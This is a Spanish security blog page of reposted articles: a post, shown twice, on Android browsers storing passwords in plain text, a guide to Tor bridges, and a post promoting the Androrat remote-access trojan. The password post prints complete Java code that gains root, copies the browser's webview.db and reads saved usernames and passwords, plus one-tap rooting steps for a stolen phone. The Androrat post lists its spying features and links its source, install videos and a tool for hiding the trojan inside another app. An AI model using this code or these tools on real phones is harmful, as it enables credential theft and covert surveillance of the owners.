Banner 1

Tus contraseñas no están seguras en Android

0 comentarios
Uno de los pilares básicos en los que se basa el modelo de seguridad de Android es que una aplicación de usuario no puede leer o escribir los archivos de otras aplicaciones. Para ello, Android utiliza el modelo de permisos de Linux sobre el que se ejecuta, y asigna a cada aplicación su propio identificador de usuario, de tal forma que, en teoría, previene que los datos de nuestra aplicación sean accedidos por terceros (o que nosotros podamos acceder a datos de otras aplicaciones).
Este modelo funciona perfectamente siempre que en el sistema no esté presente un superusuario que tenga acceso a cualquier parte del sistema de ficheros (el famoso “root”). Por defecto, la mayoría de los teléfonos Android que salen al mercado no tienen acceso root (salvo alguna excepción como el GeeksPhone One), pero todos hemos comprobado como, invariablemente, han surgido métodos para “rootear” todos y cada uno de estos teléfonos. Últimamente se ha llegado a un nivel de sencillez tal, que en muchos teléfonos es suficiente con instalar una aplicación y pulsar un boton para conseguirlo
La mayoría de las veces los usuarios activan el acceso root a sus teléfonos para poder instalar ROMs personalizadas, utilizar aplicaciones que requieren acceso a partes protegidas del sistema, etc. sin darse cuenta del riesgo de seguridad que esto supone.
Uno de los últimos riesgos que han salido a la luz pública es que, varias aplicaciones, incluidas el cliente de email y el navegador, almacenan las contraseñas del usuario sin ningún tipo de cifrado. Lo hacen así porque confían en la seguridad por defecto de Android que asegura que ninguna otra aplicación será capaz de acceder a esos ficheros para leerlos o escribirlos. Sin embargo, tal y como hemos visto anteriormente, con lo sencillo que resulta obtener acceso root en la mayoría de los terminales ésta es una medida claramente insuficiente.
Alguno podría pensar que se trata de un simple descuido o pereza de los programadores de estas aplicaciones y que puede ser fácilmente subsanable cifrando esa información, pero lo cierto es que, en realidad, lo que se está produciendo es un balance entre la facilidad de uso y la seguridad de la información almacenada. Proteger esas contraseñas requeriría a su vez tener una contraseña para poder cifrarlas/descifrarlas. Y… ¿cómo se guarda esa contraseña? ¿en texto plano? ¿cifrada? Si la ciframos necesitamos a su vez una nueva contraseña pero… ¿qué hacemos con la contraseña que cifra las contraseña que cifra las contraseñas? Al final siempre es necesario que el propio usuario introduzca algo que no puede almacenarse en el sistema y que solo él sabe (o una característica biométrica como requiere BioWallet).
En varios blogs se han publicado métodos para demostrar este fallo de seguridad que requieren un teléfono rooteado, conectar el teléfono a un PC y activar el modo depuración, extraer la base de datos y abrirla con herramientas específicas, etc. Esto provoca una falsa sensación de seguridad en aquellos usuarios menos experimentados, ya que piensan:
  1. Mi teléfono no está rooteado y por tanto está seguro.
  2. Mi teléfono está rooteado, pero para extraer las contraseñas tendrían que robármelo y ser prácticamente un hacker experto.
En realidad el riesgo de seguridad es mayor de lo que la mayoría de usuarios creen, ya que:
  1. Si tu teléfono no está rooteado y se pierde o te lo roban, conseguir acceso root es cuestión de minutos incluso para alguien no experto.
  2. Si tu teléfono ya está rooteado no es necesario que te lo roben y lo conecten a un PC. Cualquier aplicación que instales podría ser maliciosa, acceder a tus contraseñas y enviarlas a cualquier sitio sin que te dieses cuenta.
Para demostrar el verdadero riesgo que existe, a continuación vamos a mostrar cómo conseguir acceso root a un teléfono móvil en cuestión de segundos y vamos a presentar una aplicación de ejemplo que en pocas líneas de código es capaz de acceder a las contraseñas almacenadas del navegador y mostrarlas en pantalla.

Conseguir acceso root en el Motorola Droid.

Supongamos que alguien ha conseguido mi Morotola Droid que considero seguro porque nunca se me ha ocurrido activar el acceso root. El atacante solo tiene que:
  1. Descargar e instalar directamente desde el teléfono el UniversalAndroot (hay muchos más, este es solo uno de los más conocidos).
  2. Abrir el UniversalAndroot y pulsar el botón “Go Root”
  3. Universal Androot
  4. ¡Ya está! El usuario ahora es root en nuestro teléfono y puede tener acceso a todas las contraseñas que han sido almacenadas en texto plano.

PasswordsExploit

En el caso de que nosotros mismos hayamos activado el acceso root al teléfono el riesgo es incluso mayor, puesto que cualquier aplicación maliciosa puede solicitarnos permiso de superusuario con otro pretexto y, si no conocemos los riesgos de seguridad que eso implica y se lo concedemos, podría estar accediendo a nuestras contraseñas almacenadas y enviándolas a cualquier parte sin que nos diésemos cuenta. Para demostrar lo sencillo que es crear una aplicación que haga esto y que no es necesario ser un experto en seguridad, a continuación presentamos un ejemplo que, en unas pocas líneas accede a las contraseñas recordadas por el navegador y las muestra en pantalla (una aplicación maliciosa por supuesto no las mostraría sino que las enviaría silenciosamente fuera de tu teléfono).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.mobbeel.passwordsexploit;
 
import java.io.DataOutputStream;
import java.io.IOException;
 
import android.app.ListActivity;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.Bundle;
import android.widget.ListAdapter;
import android.widget.SimpleCursorAdapter;
import android.widget.Toast;
 
public class PasswordsExploitActivity extends ListActivity {
 
 @Override
 public void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
 
  try {
   //Get root access
   Process process = Runtime.getRuntime().exec("su");
   DataOutputStream os = new DataOutputStream(process.getOutputStream());
   //copy the browser database to a readable directory
   os.writeBytes("cp /data/data/com.android.browser/databases/webview.db /tmp \n");
   //change the permissions to be readable by everybody
   os.writeBytes("chmod 666 /tmp/webview.db \n");
   os.writeBytes("exit\n");
   os.flush();
   process.waitFor();
 
   //end of root commands. Now just open the database and query as usual
   SQLiteDatabase db = SQLiteDatabase.openDatabase("/tmp/webview.db", null, SQLiteDatabase.OPEN_READONLY);
   //SELECT * FROM password;
   Cursor c = db.query("password", null, null, null, null, null, null);
   startManagingCursor(c);
 
   //display Usernames and Passwords on a list
   ListAdapter adapter = new SimpleCursorAdapter(this,
     android.R.layout.two_line_list_item, c,
     new String[] { "username", "password" },
     new int[] { android.R.id.text1, android.R.id.text2 });
   setListAdapter(adapter);
 
 
  } catch (IOException e) {
   Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
   e.printStackTrace();
  } catch (InterruptedException e) {
   Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
   e.printStackTrace();
  }
 
 }
}
Al ejecutar esta aplicación, si ya hemos activado el modo root en el teléfono nos pedirá permiso para ejecutar comandos como superusuario. Nunca debemos dar este permiso a aplicaciones a no ser que confiemos absolutamente en su origen.
Superuser request
Si concedemos el permiso de superusuario, la aplicación accede a los usuarios/contraseñas recordados por el navegador y los muestra en una lista.
User's password list
Como conclusión, podemos dar unas recomendaciones para que tus contraseñas estén un poco más seguras:
  1. No actives el acceso root en tu teléfono a menos que seas un usuario experimentado y tengas muy claros los riesgos de seguridad que esto puede implicar.
  2. En caso de que ya seas root, no concedas permiso de superusuario a aplicaciones de terceros que lo pidan a no ser que confíes absolutamente en su origen.
  3. No utilices la opción de recordar contraseñas en el navegador ni en ninguna otra aplicación que no las proteja a su vez con otra contraseña (o una característica biométrica como BioWallet). Este consejo lo haría extensivo no solo al navegador del teléfono sino también a los navegadores del PC, clientes de mensajería instantánea, etc. Cualquier aplicación que puede acceder a contraseñas recordadas sin pedir tu identificación es porque no las está almacenando de forma segura.
  4. Utiliza un gestor de contraseñas fiable para almacenar tu información sensible.
Fuente:
http://www.mobbeel.com/es/tus-passwords-no-estan-seguros-en-android/

Links de ayuda:

Evita las restricciones de tu ISP a la red TOR utilizando bridges

0 comentarios
3458315732_bed31db8a4_b
Un día cualquiera, lanzas tu tor browser bundle y de repente te dás cuenta que no hay manera de hacerlo funcionar, de conectarte a la red,  …es posible que tu ISP esté filtrando y bloqueando este tipo de conexiones… 
Por suerte los amigos que están detras del proyecto Tor hace tiempo que pensaron en una solución a este tipo de censura y es utilizando bridges relays, que no viene a ser otra cosa que Tor relays, con la principal diferencia que no están listados en su directorio,  lo que dificulta que los proveedores de internet los puedan bloquear.
Estos puentes o bridges, se pueden obtener fácilmente visitando la página https://bridges.torproject.org/bridges y rellenando el captcha que nos aparece.
bridges_image2
Otro método es enviando un email a “bridges@torproject.org” incluyendo el termino “get bridges” en el mensaje.
Bien, ya tenemos los bridges, ahora tan solo tenemos que incorporarlo a nuestro Tor Browser Bundle, antes esto se realizaba utilizando Vidalia, pero en la última versión de este navegador se ha prescindido de esta aplicación y en su lugar utilizaremos directamente torbutton, así que pulsamos en el botoncito, elegimos la opción  abrir preferencias de red.
torbutton_image1
y marcamos “Mi proveedor de servicios de internet (ISP) bloquea las conexiones Tor”. Ahí copiamos uno a uno los bridges.
bridges_image6
En esa misma ventana nos da la opción de acceder al registro de logs y copiarlo al portapapeles, y comprobar que se ha establecido el circuito de bridges correctamente en la próxima sesion del navegador.

Un paso por delante: Utilizar Pluggable Transports

Si os fijáis en una de las capturas anteriores aparecía un bridge (puente) con el protocolo obfs. Esta tecnología fue añadida al proyecto TOR debido a que ultimamente algunos ISPs estaban encontrando maneras de bloquear el tráfico, utilizando una técnica llamada DPI (“inspección profunda de paquetes”) que reconoce y filtra el tráfico de TOR, incluso cuando se conectan a direcciones IP inesperadas.
La solución fue utilizar herramientas (Pluggable Transports) como obfsproxy que permiten transforman el tráfico de Tor entre el cliente y el puente, simulando una conexión mas “inocente” de tráfico http, incluso existen variantes como SkypeMorph, que ofuscan el tráfico como si fueran una sesión de Skype.
Obfsproxy se puede instalar en GNU/Linux como paquete independiente y hacer que trabaje con TOR, pero tampoco es necesario ya que existen versiones especiales del navegador Tor Browser Bundle que lo incluyen por defecto.
En estas versiones todavía se utiliza Vidalia, con lo cual todavía es más facil su implementación.Como siempre ejecutamos start-tor-browser y nos aparece Vidalia,  ahora pulsamos en settings,
vidalia
se nos abre esta ventana, donde elegimos la pestaña network y vemos que ya viene marcada la opción “My ISP block connections to the Tor network” e incluye de serie una buena cantidad de bridges de “serie”
bridges_image8
Espero que no haya sido demasiado rollo la entrada…en próximos post sobre TOR, lo veremos desde otro punto de vista más interesante, como es el de poder ayudar a otros usuarios a evadir la censura de internet (gracias Aldobelus por la sugerencia), instalando un relay tor.


Fuente | TOR Project
http://lamiradadelreplicante.com/2013/12/30/evita-las-restricciones-de-tu-isp-a-la-red-tor-utilizando-bridges/

Tus contraseñas no están seguras en Android

0 comentarios
Uno de los pilares básicos en los que se basa el modelo de seguridad de Android es que una aplicación de usuario no puede leer o escribir los archivos de otras aplicaciones. Para ello, Android utiliza el modelo de permisos de Linux sobre el que se ejecuta, y asigna a cada aplicación su propio identificador de usuario, de tal forma que, en teoría, previene que los datos de nuestra aplicación sean accedidos por terceros (o que nosotros podamos acceder a datos de otras aplicaciones).
Este modelo funciona perfectamente siempre que en el sistema no esté presente un superusuario que tenga acceso a cualquier parte del sistema de ficheros (el famoso “root”). Por defecto, la mayoría de los teléfonos Android que salen al mercado no tienen acceso root (salvo alguna excepción como el GeeksPhone One), pero todos hemos comprobado como, invariablemente, han surgido métodos para “rootear” todos y cada uno de estos teléfonos. Últimamente se ha llegado a un nivel de sencillez tal, que en muchos teléfonos es suficiente con instalar una aplicación y pulsar un boton para conseguirlo
La mayoría de las veces los usuarios activan el acceso root a sus teléfonos para poder instalar ROMs personalizadas, utilizar aplicaciones que requieren acceso a partes protegidas del sistema, etc. sin darse cuenta del riesgo de seguridad que esto supone.
Uno de los últimos riesgos que han salido a la luz pública es que, varias aplicaciones, incluidas el cliente de email y el navegador, almacenan las contraseñas del usuario sin ningún tipo de cifrado. Lo hacen así porque confían en la seguridad por defecto de Android que asegura que ninguna otra aplicación será capaz de acceder a esos ficheros para leerlos o escribirlos. Sin embargo, tal y como hemos visto anteriormente, con lo sencillo que resulta obtener acceso root en la mayoría de los terminales ésta es una medida claramente insuficiente.
Alguno podría pensar que se trata de un simple descuido o pereza de los programadores de estas aplicaciones y que puede ser fácilmente subsanable cifrando esa información, pero lo cierto es que, en realidad, lo que se está produciendo es un balance entre la facilidad de uso y la seguridad de la información almacenada. Proteger esas contraseñas requeriría a su vez tener una contraseña para poder cifrarlas/descifrarlas. Y… ¿cómo se guarda esa contraseña? ¿en texto plano? ¿cifrada? Si la ciframos necesitamos a su vez una nueva contraseña pero… ¿qué hacemos con la contraseña que cifra las contraseña que cifra las contraseñas? Al final siempre es necesario que el propio usuario introduzca algo que no puede almacenarse en el sistema y que solo él sabe (o una característica biométrica como requiere BioWallet).
En varios blogs se han publicado métodos para demostrar este fallo de seguridad que requieren un teléfono rooteado, conectar el teléfono a un PC y activar el modo depuración, extraer la base de datos y abrirla con herramientas específicas, etc. Esto provoca una falsa sensación de seguridad en aquellos usuarios menos experimentados, ya que piensan:
  1. Mi teléfono no está rooteado y por tanto está seguro.
  2. Mi teléfono está rooteado, pero para extraer las contraseñas tendrían que robármelo y ser prácticamente un hacker experto.
En realidad el riesgo de seguridad es mayor de lo que la mayoría de usuarios creen, ya que:
  1. Si tu teléfono no está rooteado y se pierde o te lo roban, conseguir acceso root es cuestión de minutos incluso para alguien no experto.
  2. Si tu teléfono ya está rooteado no es necesario que te lo roben y lo conecten a un PC. Cualquier aplicación que instales podría ser maliciosa, acceder a tus contraseñas y enviarlas a cualquier sitio sin que te dieses cuenta.
Para demostrar el verdadero riesgo que existe, a continuación vamos a mostrar cómo conseguir acceso root a un teléfono móvil en cuestión de segundos y vamos a presentar una aplicación de ejemplo que en pocas líneas de código es capaz de acceder a las contraseñas almacenadas del navegador y mostrarlas en pantalla.

Conseguir acceso root en el Motorola Droid.

Supongamos que alguien ha conseguido mi Morotola Droid que considero seguro porque nunca se me ha ocurrido activar el acceso root. El atacante solo tiene que:
  1. Descargar e instalar directamente desde el teléfono el UniversalAndroot (hay muchos más, este es solo uno de los más conocidos).
  2. Abrir el UniversalAndroot y pulsar el botón “Go Root”
  3. Universal Androot
  4. ¡Ya está! El usuario ahora es root en nuestro teléfono y puede tener acceso a todas las contraseñas que han sido almacenadas en texto plano.

PasswordsExploit

En el caso de que nosotros mismos hayamos activado el acceso root al teléfono el riesgo es incluso mayor, puesto que cualquier aplicación maliciosa puede solicitarnos permiso de superusuario con otro pretexto y, si no conocemos los riesgos de seguridad que eso implica y se lo concedemos, podría estar accediendo a nuestras contraseñas almacenadas y enviándolas a cualquier parte sin que nos diésemos cuenta. Para demostrar lo sencillo que es crear una aplicación que haga esto y que no es necesario ser un experto en seguridad, a continuación presentamos un ejemplo que, en unas pocas líneas accede a las contraseñas recordadas por el navegador y las muestra en pantalla (una aplicación maliciosa por supuesto no las mostraría sino que las enviaría silenciosamente fuera de tu teléfono).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package com.mobbeel.passwordsexploit;
 
import java.io.DataOutputStream;
import java.io.IOException;
 
import android.app.ListActivity;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.os.Bundle;
import android.widget.ListAdapter;
import android.widget.SimpleCursorAdapter;
import android.widget.Toast;
 
public class PasswordsExploitActivity extends ListActivity {
 
	@Override
	public void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
 
		try {
			//Get root access
			Process process = Runtime.getRuntime().exec("su");
			DataOutputStream os = new DataOutputStream(process.getOutputStream());
			//copy the browser database to a readable directory
			os.writeBytes("cp /data/data/com.android.browser/databases/webview.db /tmp \n");
			//change the permissions to be readable by everybody
			os.writeBytes("chmod 666 /tmp/webview.db \n");
			os.writeBytes("exit\n");
			os.flush();
			process.waitFor();
 
			//end of root commands. Now just open the database and query as usual
			SQLiteDatabase db = SQLiteDatabase.openDatabase("/tmp/webview.db", null, SQLiteDatabase.OPEN_READONLY);
			//SELECT * FROM password;
			Cursor c = db.query("password", null, null,	null, null, null, null);
			startManagingCursor(c);
 
			//display Usernames and Passwords on a list
			ListAdapter adapter = new SimpleCursorAdapter(this,
					android.R.layout.two_line_list_item, c,
					new String[] { "username", "password" },
					new int[] { android.R.id.text1, android.R.id.text2 });
			setListAdapter(adapter);
 
 
		} catch (IOException e) {
			Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
			e.printStackTrace();
		} catch (InterruptedException e) {
			Toast.makeText(this, "This app needs root access.", Toast.LENGTH_SHORT).show();
			e.printStackTrace();
		}
 
	}
}
Al ejecutar esta aplicación, si ya hemos activado el modo root en el teléfono nos pedirá permiso para ejecutar comandos como superusuario. Nunca debemos dar este permiso a aplicaciones a no ser que confiemos absolutamente en su origen.
Superuser request
Si concedemos el permiso de superusuario, la aplicación accede a los usuarios/contraseñas recordados por el navegador y los muestra en una lista.
User's password list
Como conclusión, podemos dar unas recomendaciones para que tus contraseñas estén un poco más seguras:
  1. No actives el acceso root en tu teléfono a menos que seas un usuario experimentado y tengas muy claros los riesgos de seguridad que esto puede implicar.
  2. En caso de que ya seas root, no concedas permiso de superusuario a aplicaciones de terceros que lo pidan a no ser que confíes absolutamente en su origen.
  3. No utilices la opción de recordar contraseñas en el navegador ni en ninguna otra aplicación que no las proteja a su vez con otra contraseña (o una característica biométrica como BioWallet). Este consejo lo haría extensivo no solo al navegador del teléfono sino también a los navegadores del PC, clientes de mensajería instantánea, etc. Cualquier aplicación que puede acceder a contraseñas recordadas sin pedir tu identificación es porque no las está almacenando de forma segura.
  4. Utiliza un gestor de contraseñas fiable para almacenar tu información sensible.
Fuente:
http://www.mobbeel.com/es/tus-passwords-no-estan-seguros-en-android/

Links de ayuda:
www.android.es/seguridad-android-188-te-pueden-ver-las-contrasenas-guardadas-en-el-navegador.html
the-darkfalcon.blogspot.com/2012/06/recuperar-contrasenas-almacenadas-en-tu.html
http://blog.desdelinux.net/pequeno-truco-para-revelar-contrasenas-en-tu-explorador-web/

androrat: un troyano RAT para Android

0 comentarios
Androrat es un RAT (Remote Administration Tool) de código abierto para Android. Se trata de una aplicación cliente-servidor desarrollada en Java (Java Android para el cliente y Java/Swing para el servidor) por un equipo de cuatro desarrolladores universitarios en tan sólo un mes. Por lo tanto es casi una prueba de concepto, si bien es bastante funcional ya que en sus primeras versiones puede:

- Obtener los contactos (y toda la información de ellos)
- Obtener los registros de llamadas
- Obtener todos los mensajes
- Localización por GPS / Red
- Monitorizar mensajes recibidos en tiempo real
- Monitorizar el estado del teléfono en tiempo real (llamada recibida, llamada enviada, llamada perdida ..)
- Tomar una fotografía desde la cámara
- Obtener el sonido del micrófono (u otras fuentes ..)
- Obtener el streaming de vídeo (sólo para clientes basados en actividad)
- Enviar un mensaje de texto
- Relizar una llamada
- Abrir una URL en el navegador por defecto
- Hacer vibrar el teléfono


La aplicación Android se ejecuta como un servicio (no una actividad) que se inicia durante el arranque. Por lo tanto el usuario no tiene que interactuar con el servicio (si bien hay una actividad de depuración que permite configurar la dirección IP y el puerto de conexión).
La conexión con el servidor puede ser desencadenada por un SMS o una llamada (configurable).

Para instalarlo os recomiendo que echéis un vistazo al completo artículo de Seguridad de un simple Mortal o al siguiente vídeo de davo7mex http://www.youtube.com/watch?v=QakfIPzikIo.

Y tampoco perdáis de vista a uno de los primeros binders para ocultar tu troyano en otro apk http://www.youtube.com/watch?v=GppnvTbePBM


Web del proyecto: https://github.com/wcb972/androrat

Fuente: http://www.hackplayers.com/2013/05/androrat-un-troyano-rat-para-android.html

Links:
www.viruslist.com/sp/weblog?weblogid=208188827
http://www.elladodelmal.com/2013/11/troyano-para-espiar-un-android-o-para.html

Powered by Bad Robot
Helped by Blackubay